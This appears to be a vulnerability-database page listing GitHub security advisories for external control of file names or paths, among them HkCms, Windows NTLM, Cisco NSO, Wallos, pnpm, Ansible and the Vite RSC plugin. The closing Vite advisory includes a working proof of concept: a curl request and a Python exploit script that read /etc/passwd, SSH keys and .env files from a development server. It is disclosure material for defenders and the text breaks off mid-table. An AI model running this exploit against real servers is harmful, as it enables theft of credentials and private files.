CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
911 vulnerabilities reference this CWE, most recent first.
GHSA-FP5J-Q9FH-M8QX
Vulnerability from github – Published: 2025-02-27 15:31 – Updated: 2025-02-27 15:31HkCms v2.3.2.240702 was discovered to contain an arbitrary file write vulnerability in the component Appcenter.php.
{
"affected": [],
"aliases": [
"CVE-2025-25761"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-27T15:15:41Z",
"severity": "HIGH"
},
"details": "HkCms v2.3.2.240702 was discovered to contain an arbitrary file write vulnerability in the component Appcenter.php.",
"id": "GHSA-fp5j-q9fh-m8qx",
"modified": "2025-02-27T15:31:52Z",
"published": "2025-02-27T15:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25761"
},
{
"type": "WEB",
"url": "https://github.com/147536951/Qianyi-learn/blob/main/Hkcms.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPP4-775Q-MQRM
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-03-27 21:31External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network.
{
"affected": [],
"aliases": [
"CVE-2026-20872"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T18:16:16Z",
"severity": "MODERATE"
},
"details": "External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network.",
"id": "GHSA-fpp4-775q-mqrm",
"modified": "2026-03-27T21:31:32Z",
"published": "2026-01-13T18:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20872"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20872"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-20872-detection-script-spoofing-vulnerability-in-windows-ntlm"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-20872-mitigation-script-spoofing-vulnerability-in-windows-ntlm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FPVX-GW57-2P3V
Vulnerability from github – Published: 2024-05-15 18:30 – Updated: 2024-05-15 18:30A vulnerability in the Tail-f High Availability Cluster Communications (HCC) function pack of Cisco Crosswork Network Services Orchestrator (NSO) could allow an authenticated, local attacker to elevate privileges to root on an affected device.
This vulnerability exists because a user-controlled search path is used to locate executable files. An attacker could exploit this vulnerability by configuring the application in a way that causes a malicious file to be executed. A successful exploit could allow the attacker to execute arbitrary code on an affected device as the root user. To exploit this vulnerability, the attacker would need valid credentials on an affected device.
{
"affected": [],
"aliases": [
"CVE-2024-20366"
],
"database_specific": {
"cwe_ids": [
"CWE-427",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-15T18:15:09Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Tail-f High Availability Cluster Communications (HCC) function pack of Cisco Crosswork Network Services Orchestrator (NSO) could allow an authenticated, local attacker to elevate privileges to root on an affected device.\n\n This vulnerability exists because a user-controlled search path is used to locate executable files. An attacker could exploit this vulnerability by configuring the application in a way that causes a malicious file to be executed. A successful exploit could allow the attacker to execute arbitrary code on an affected device as the root user. To exploit this vulnerability, the attacker would need valid credentials on an affected device.",
"id": "GHSA-fpvx-gw57-2p3v",
"modified": "2024-05-15T18:30:35Z",
"published": "2024-05-15T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20366"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nso-hcc-priv-esc-OWBWCs5D"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FQXF-49HH-94MJ
Vulnerability from github – Published: 2025-04-16 21:30 – Updated: 2025-04-17 15:32Wallos <=2.38.2 has a file upload vulnerability in the restore database function, which allows unauthenticated users to restore database by uploading a ZIP file. The contents of the ZIP file are extracted on the server. This functionality enables an unauthenticated attacker to upload malicious files to the server. Once a web shell is installed, the attacker gains the ability to execute arbitrary commands.
{
"affected": [],
"aliases": [
"CVE-2024-55372"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-16T21:15:45Z",
"severity": "CRITICAL"
},
"details": "Wallos \u003c=2.38.2 has a file upload vulnerability in the restore database function, which allows unauthenticated users to restore database by uploading a ZIP file. The contents of the ZIP file are extracted on the server. This functionality enables an unauthenticated attacker to upload malicious files to the server. Once a web shell is installed, the attacker gains the ability to execute arbitrary commands.",
"id": "GHSA-fqxf-49hh-94mj",
"modified": "2025-04-17T15:32:34Z",
"published": "2025-04-16T21:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55372"
},
{
"type": "WEB",
"url": "https://www.datafarm.co.th/blog/CVE-2024-55371-and-CVE-2024-55372-Malicious-File-Upload-to-RCE-in-Wallos-Application"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FR4H-3CPH-29XV
Vulnerability from github – Published: 2026-06-27 00:02 – Updated: 2026-06-27 00:03Summary
The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet.
A crafted lockfile alias could be joined directly under a hoisted node_modules directory. Traversal aliases could escape that directory, while reserved aliases such as .bin or .pnpm could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work.
Security boundary
- The TypeScript hoisted graph uses the shared safe join helper at the actual
dep.namesink. - The helper rejects traversal, absolute, platform-specific, and reserved package names.
- Pacquet validates the hoister's
dep.0.namebefore adding the graph node or recursing. - Both implementations return
ERR_PNPM_INVALID_DEPENDENCY_NAME. - Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases.
Exploit replay
Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created.
Files changed
fs/symlink-dependency/src/safeJoinModulesDir.tsprovides the TypeScript containment helper.installing/deps-restorer/src/lockfileToHoistedDepGraph.tsvalidates the parsed dependency name at the hoisted graph sink.pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}mirrors that boundary in Rust.- TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names.
Commands run
$ pnpm --filter @pnpm/fs.symlink-dependency test
PASS: 24 tests
$ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts
PASS: exploit regression and positive install control
$ cargo test --locked -p pacquet-package-manager --lib
PASS: 426 tests
$ cargo fmt --all -- --check
PASS
Validation
- TypeScript symlink helper: 24 passed.
- TypeScript exploit regression: 1 passed.
- TypeScript positive hoisted-install control: 1 passed.
- Targeted strict TypeScript compiles: passed.
- Targeted ESLint: zero errors.
- Pacquet helper tests: 3 passed.
- Full pacquet package-manager library suite: 426 passed.
cargo fmt, parsed two-document lockfile validation, andgit diff --check: passed.
Patch
Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1
GitHub reports the branch as mergeable and has requested review from zkochan. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability
Compatibility
Valid unscoped and scoped package aliases continue to work. The changeset covers @pnpm/fs.symlink-dependency, @pnpm/installing.deps-restorer, and pnpm; pacquet is updated in the same commit for CLI parity.
Written by an agent (Codex, GPT-5).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.34.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-27T00:02:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet.\n\nA crafted lockfile alias could be joined directly under a hoisted `node_modules` directory. Traversal aliases could escape that directory, while reserved aliases such as `.bin` or `.pnpm` could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work.\n\n## Security boundary\n\n- The TypeScript hoisted graph uses the shared safe join helper at the actual `dep.name` sink.\n- The helper rejects traversal, absolute, platform-specific, and reserved package names.\n- Pacquet validates the hoister\u0027s `dep.0.name` before adding the graph node or recursing.\n- Both implementations return `ERR_PNPM_INVALID_DEPENDENCY_NAME`.\n- Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases.\n\n## Exploit replay\n\nBefore the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created.\n\n## Files changed\n\n- `fs/symlink-dependency/src/safeJoinModulesDir.ts` provides the TypeScript containment helper.\n- `installing/deps-restorer/src/lockfileToHoistedDepGraph.ts` validates the parsed dependency name at the hoisted graph sink.\n- `pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}` mirrors that boundary in Rust.\n- TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names.\n\n## Commands run\n\n```text\n$ pnpm --filter @pnpm/fs.symlink-dependency test\nPASS: 24 tests\n$ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts\nPASS: exploit regression and positive install control\n$ cargo test --locked -p pacquet-package-manager --lib\nPASS: 426 tests\n$ cargo fmt --all -- --check\nPASS\n```\n\n## Validation\n\n- TypeScript symlink helper: 24 passed.\n- TypeScript exploit regression: 1 passed.\n- TypeScript positive hoisted-install control: 1 passed.\n- Targeted strict TypeScript compiles: passed.\n- Targeted ESLint: zero errors.\n- Pacquet helper tests: 3 passed.\n- Full pacquet package-manager library suite: 426 passed.\n- `cargo fmt`, parsed two-document lockfile validation, and `git diff --check`: passed.\n\n## Patch\n\nReady-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1\n\nGitHub reports the branch as mergeable and has requested review from `zkochan`. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability\n\n## Compatibility\n\nValid unscoped and scoped package aliases continue to work. The changeset covers `@pnpm/fs.symlink-dependency`, `@pnpm/installing.deps-restorer`, and `pnpm`; pacquet is updated in the same commit for CLI parity.\n\n---\nWritten by an agent (Codex, GPT-5).",
"id": "GHSA-fr4h-3cph-29xv",
"modified": "2026-06-27T00:03:02Z",
"published": "2026-06-27T00:02:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-fr4h-3cph-29xv"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Hoisted install imports lockfile alias outside node_modules"
}
GHSA-FRXJ-5J27-F8RF
Vulnerability from github – Published: 2021-04-20 16:44 – Updated: 2024-11-18 16:26A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0a1"
},
{
"fixed": "2.7.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0a1"
},
{
"fixed": "2.8.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0a1"
},
{
"fixed": "2.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-14905"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-610",
"CWE-668",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-05T14:41:23Z",
"nvd_published_at": "2020-03-31T17:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible\u0027s nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.",
"id": "GHSA-frxj-5j27-f8rf",
"modified": "2024-11-18T16:26:11Z",
"published": "2021-04-20T16:44:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14905"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0216"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0218"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14905"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-frxj-5j27-f8rf"
},
{
"type": "PACKAGE",
"url": "https://github.com/ansible/ansible"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-206.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5BNCYPQ4BY5QHBCJOAOPANB5FHATW2BR"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Externally Controlled Reference to a Resource in Another Sphere, Improper Input Validation, and External Control of File Name or Path in Ansible"
}
GHSA-FX65-CFQH-9VMR
Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31A vulnerability has been identified in SICAM SIAPP SDK (All versions < V2.1.7). The affected application builds shell commands with caller-provided strings and executes them. An attacker could influence the executed command, potentially resulting in command injection and full system compromise.
{
"affected": [],
"aliases": [
"CVE-2026-25573"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-10T18:18:37Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SICAM SIAPP SDK (All versions \u003c V2.1.7). The affected application builds shell commands with caller-provided strings and executes them. An attacker could influence the executed command, potentially resulting in command injection and full system compromise.",
"id": "GHSA-fx65-cfqh-9vmr",
"modified": "2026-03-10T18:31:21Z",
"published": "2026-03-10T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25573"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-903736.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G239-Q96Q-X4QM
Vulnerability from github – Published: 2025-12-16 22:32 – Updated: 2025-12-16 22:32Summary
The /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter.
Severity: High
Attack Vector: Network
Privileges Required: None
Scope: Development mode only (vite dev)
Impact
Who Is Affected?
- All developers using
@vitejs/plugin-rscduring development - Projects running
vite devwith the RSC plugin enabled
Attack Scenarios
-
Network-Exposed Dev Servers:
When developers runvite --host 0.0.0.0(common for mobile testing), attackers on the same network can read files. -
~XSS-Based Attacks:~ ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~
-
~Malicious Dependencies: ~ ~A compromised npm package could include code that reads files during development.~
-
~DNS Rebinding:~ (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222) ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~
What Can Be Leaked?
- Environment files (
.env,.env.local,.env.production) - SSH keys (
~/.ssh/id_rsa,~/.ssh/id_ed25519) - Cloud credentials (
~/.aws/credentials,~/.config/gcloud/) - Database passwords and API keys
- Source code from other projects
- System files (
/etc/passwd,/etc/shadowif readable)
Details
Vulnerable Code Location
File: packages/plugin-rsc/src/plugins/find-source-map-url.ts
Lines: 49-61
The vulnerability exists in the findSourceMapURL function:
async function findSourceMapURL(
server: ViteDevServer,
filename: string,
environmentName: string,
): Promise<object | undefined> {
// this is likely server external (i.e. outside of Vite processing)
if (filename.startsWith('file://')) {
filename = fileURLToPath(filename)
if (fs.existsSync(filename)) {
// line-by-line identity source map
const content = fs.readFileSync(filename, 'utf-8') // ← ARBITRARY FILE READ
return {
version: 3,
sources: [filename],
sourcesContent: [content], // ← FILE CONTENTS LEAKED HERE
mappings: 'AAAA' + ';AACA'.repeat(content.split('\n').length),
}
}
return
}
// ... rest of the function
}
Root Cause
The endpoint:
1. Accepts a user-controlled filename parameter from the query string (line 20)
2. Checks if it starts with file:// (line 49)
3. Converts it to a filesystem path using fileURLToPath() (line 50)
4. Reads the file with fs.readFileSync() without any path validation (line 53)
5. Returns the file contents in the JSON response (line 57)
No validation is performed to ensure the requested file is within the project directory or is a legitimate source file.
PoC
Quick Test (Single Command)
If you have a Vite dev server running with @vitejs/plugin-rsc, you can test immediately:
curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'
Expected output (file contents in sourcesContent):
{
"version": 3,
"sources": ["/etc/passwd"],
"sourcesContent": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/sbin:..."],
"mappings": "AAAA;AACA;AACA;..."
}
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-rsc'
export default defineConfig({
plugins: [
react({
serverHandler: false,
}),
],
})
{
"name": "poc-vite-rsc-file-read",
"version": "1.0.0",
"private": true,
"type": "module",
"scripts": {
"dev": "vite --host 0.0.0.0"
},
"dependencies": {
"react": "^19.0.0",
"react-dom": "^19.0.0"
},
"devDependencies": {
"@vitejs/plugin-rsc": "latest",
"vite": "^6.0.0"
}
}
<!DOCTYPE html>
<html>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
import React from 'react'
import ReactDOM from 'react-dom/client'
ReactDOM.createRoot(document.getElementById('root')!).render(<div>PoC</div>)
# Install and start
pnpm install
pnpm dev
# In another terminal, exploit:
curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'
#!/usr/bin/env python3
"""Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL"""
import json
import sys
import urllib.request
import urllib.parse
def read_file(host, port, file_path):
"""Read a file from the target server via the vulnerability."""
url = f"http://{host}:{port}/__vite_rsc_findSourceMapURL"
params = urllib.parse.urlencode({
'filename': f'file://{file_path}',
'environmentName': 'Server'
})
try:
with urllib.request.urlopen(f"{url}?{params}", timeout=10) as response:
data = json.loads(response.read().decode('utf-8'))
if 'sourcesContent' in data and data['sourcesContent']:
return data['sourcesContent'][0]
except Exception as e:
return f"Error: {e}"
return None
if __name__ == '__main__':
host = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
port = sys.argv[2] if len(sys.argv) > 2 else '5173'
file_path = sys.argv[3] if len(sys.argv) > 3 else '/etc/passwd'
content = read_file(host, port, file_path)
if content:
print(f"[+] Successfully read {file_path}:")
print("-" * 60)
print(content)
print("-" * 60)
else:
print(f"[-] Failed to read {file_path}")
python3 exploit.py localhost 5173 /etc/passwd
python3 exploit.py localhost 5173 /root/.ssh/id_rsa
python3 exploit.py localhost 5173 /home/user/.env
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
SECRET_API_KEY=sk-live-very-secret-key-12345
DB_PASSWORD=super_secret_password
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vitejs/plugin-rsc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68155"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T22:32:26Z",
"nvd_published_at": "2025-12-16T19:16:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `/__vite_rsc_findSourceMapURL` endpoint in `@vitejs/plugin-rsc` allows **unauthenticated arbitrary file read** during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a `file://` URL in the `filename` query parameter.\n\n**Severity:** High\n**Attack Vector:** Network \n**Privileges Required:** None \n**Scope:** Development mode only (`vite dev`)\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All developers** using `@vitejs/plugin-rsc` during development\n- Projects running `vite dev` with the RSC plugin enabled\n\n### Attack Scenarios\n\n1. **Network-Exposed Dev Servers:** \n When developers run `vite --host 0.0.0.0` (common for mobile testing), attackers on the same network can read files.\n\n2. ~**XSS-Based Attacks:**~\n ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~\n\n3. ~**Malicious Dependencies:** ~\n ~A compromised npm package could include code that reads files during development.~\n\n4. ~**DNS Rebinding:**~ (EDIT: This doesn\u0027t apply since https://github.com/vitejs/vite/pull/20222)\n ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~\n\n### What Can Be Leaked?\n\n- Environment files (`.env`, `.env.local`, `.env.production`)\n- SSH keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)\n- Cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`)\n- Database passwords and API keys\n- Source code from other projects\n- System files (`/etc/passwd`, `/etc/shadow` if readable)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `packages/plugin-rsc/src/plugins/find-source-map-url.ts` \n**Lines:** 49-61\n\nThe vulnerability exists in the `findSourceMapURL` function:\n\n```typescript\nasync function findSourceMapURL(\n server: ViteDevServer,\n filename: string,\n environmentName: string,\n): Promise\u003cobject | undefined\u003e {\n // this is likely server external (i.e. outside of Vite processing)\n if (filename.startsWith(\u0027file://\u0027)) {\n filename = fileURLToPath(filename)\n if (fs.existsSync(filename)) {\n // line-by-line identity source map\n const content = fs.readFileSync(filename, \u0027utf-8\u0027) // \u2190 ARBITRARY FILE READ\n return {\n version: 3,\n sources: [filename],\n sourcesContent: [content], // \u2190 FILE CONTENTS LEAKED HERE\n mappings: \u0027AAAA\u0027 + \u0027;AACA\u0027.repeat(content.split(\u0027\\n\u0027).length),\n }\n }\n return\n }\n // ... rest of the function\n}\n```\n\n### Root Cause\n\nThe endpoint:\n1. Accepts a user-controlled `filename` parameter from the query string (line 20)\n2. Checks if it starts with `file://` (line 49)\n3. Converts it to a filesystem path using `fileURLToPath()` (line 50)\n4. Reads the file with `fs.readFileSync()` **without any path validation** (line 53)\n5. Returns the file contents in the JSON response (line 57)\n\n**No validation is performed** to ensure the requested file is within the project directory or is a legitimate source file.\n\n---\n\n## PoC\n\n### Quick Test (Single Command)\n\nIf you have a Vite dev server running with `@vitejs/plugin-rsc`, you can test immediately:\n\n```bash\ncurl \u0027http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd\u0026environmentName=Server\u0027\n```\n\n**Expected output** (file contents in `sourcesContent`):\n\n```json\n{\n \"version\": 3,\n \"sources\": [\"/etc/passwd\"],\n \"sourcesContent\": [\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/sbin:...\"],\n \"mappings\": \"AAAA;AACA;AACA;...\"\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003eFurther details of PoC\u003c/summary\u003e\n\n### Complete PoC with Docker\n\nFor a fully reproducible environment, I\u0027ve prepared a complete PoC:\n\n#### Step 1: Create a minimal `vite.config.ts`\n\n```typescript\nimport { defineConfig } from \u0027vite\u0027\nimport react from \u0027@vitejs/plugin-rsc\u0027\n\nexport default defineConfig({\n plugins: [\n react({\n serverHandler: false,\n }),\n ],\n})\n```\n\n#### Step 2: Create `package.json`\n\n```json\n{\n \"name\": \"poc-vite-rsc-file-read\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"type\": \"module\",\n \"scripts\": {\n \"dev\": \"vite --host 0.0.0.0\"\n },\n \"dependencies\": {\n \"react\": \"^19.0.0\",\n \"react-dom\": \"^19.0.0\"\n },\n \"devDependencies\": {\n \"@vitejs/plugin-rsc\": \"latest\",\n \"vite\": \"^6.0.0\"\n }\n}\n```\n\n#### Step 3: Create minimal `index.html` and `src/main.tsx`\n\n**index.html:**\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cdiv id=\"root\"\u003e\u003c/div\u003e\n \u003cscript type=\"module\" src=\"/src/main.tsx\"\u003e\u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n**src/main.tsx:**\n```tsx\nimport React from \u0027react\u0027\nimport ReactDOM from \u0027react-dom/client\u0027\nReactDOM.createRoot(document.getElementById(\u0027root\u0027)!).render(\u003cdiv\u003ePoC\u003c/div\u003e)\n```\n\n#### Step 4: Start the server and exploit\n\n```bash\n# Install and start\npnpm install\npnpm dev\n\n# In another terminal, exploit:\ncurl \u0027http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd\u0026environmentName=Server\u0027\n```\n\n### Python Exploit Script\n\nFor easier testing, here\u0027s a Python script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL\"\"\"\n\nimport json\nimport sys\nimport urllib.request\nimport urllib.parse\n\ndef read_file(host, port, file_path):\n \"\"\"Read a file from the target server via the vulnerability.\"\"\"\n url = f\"http://{host}:{port}/__vite_rsc_findSourceMapURL\"\n params = urllib.parse.urlencode({\n \u0027filename\u0027: f\u0027file://{file_path}\u0027,\n \u0027environmentName\u0027: \u0027Server\u0027\n })\n \n try:\n with urllib.request.urlopen(f\"{url}?{params}\", timeout=10) as response:\n data = json.loads(response.read().decode(\u0027utf-8\u0027))\n if \u0027sourcesContent\u0027 in data and data[\u0027sourcesContent\u0027]:\n return data[\u0027sourcesContent\u0027][0]\n except Exception as e:\n return f\"Error: {e}\"\n return None\n\nif __name__ == \u0027__main__\u0027:\n host = sys.argv[1] if len(sys.argv) \u003e 1 else \u0027localhost\u0027\n port = sys.argv[2] if len(sys.argv) \u003e 2 else \u00275173\u0027\n file_path = sys.argv[3] if len(sys.argv) \u003e 3 else \u0027/etc/passwd\u0027\n \n content = read_file(host, port, file_path)\n if content:\n print(f\"[+] Successfully read {file_path}:\")\n print(\"-\" * 60)\n print(content)\n print(\"-\" * 60)\n else:\n print(f\"[-] Failed to read {file_path}\")\n```\n\n**Usage:**\n```bash\npython3 exploit.py localhost 5173 /etc/passwd\npython3 exploit.py localhost 5173 /root/.ssh/id_rsa\npython3 exploit.py localhost 5173 /home/user/.env\n```\n\n### Verified Exploitation Results\n\nI tested this in a Docker container and successfully read:\n\n| File | Description |\n|------|-------------|\n| `/etc/passwd` | System user accounts |\n| `/etc/hosts` | Network configuration |\n| `/root/.env.secret` | Environment secrets |\n| 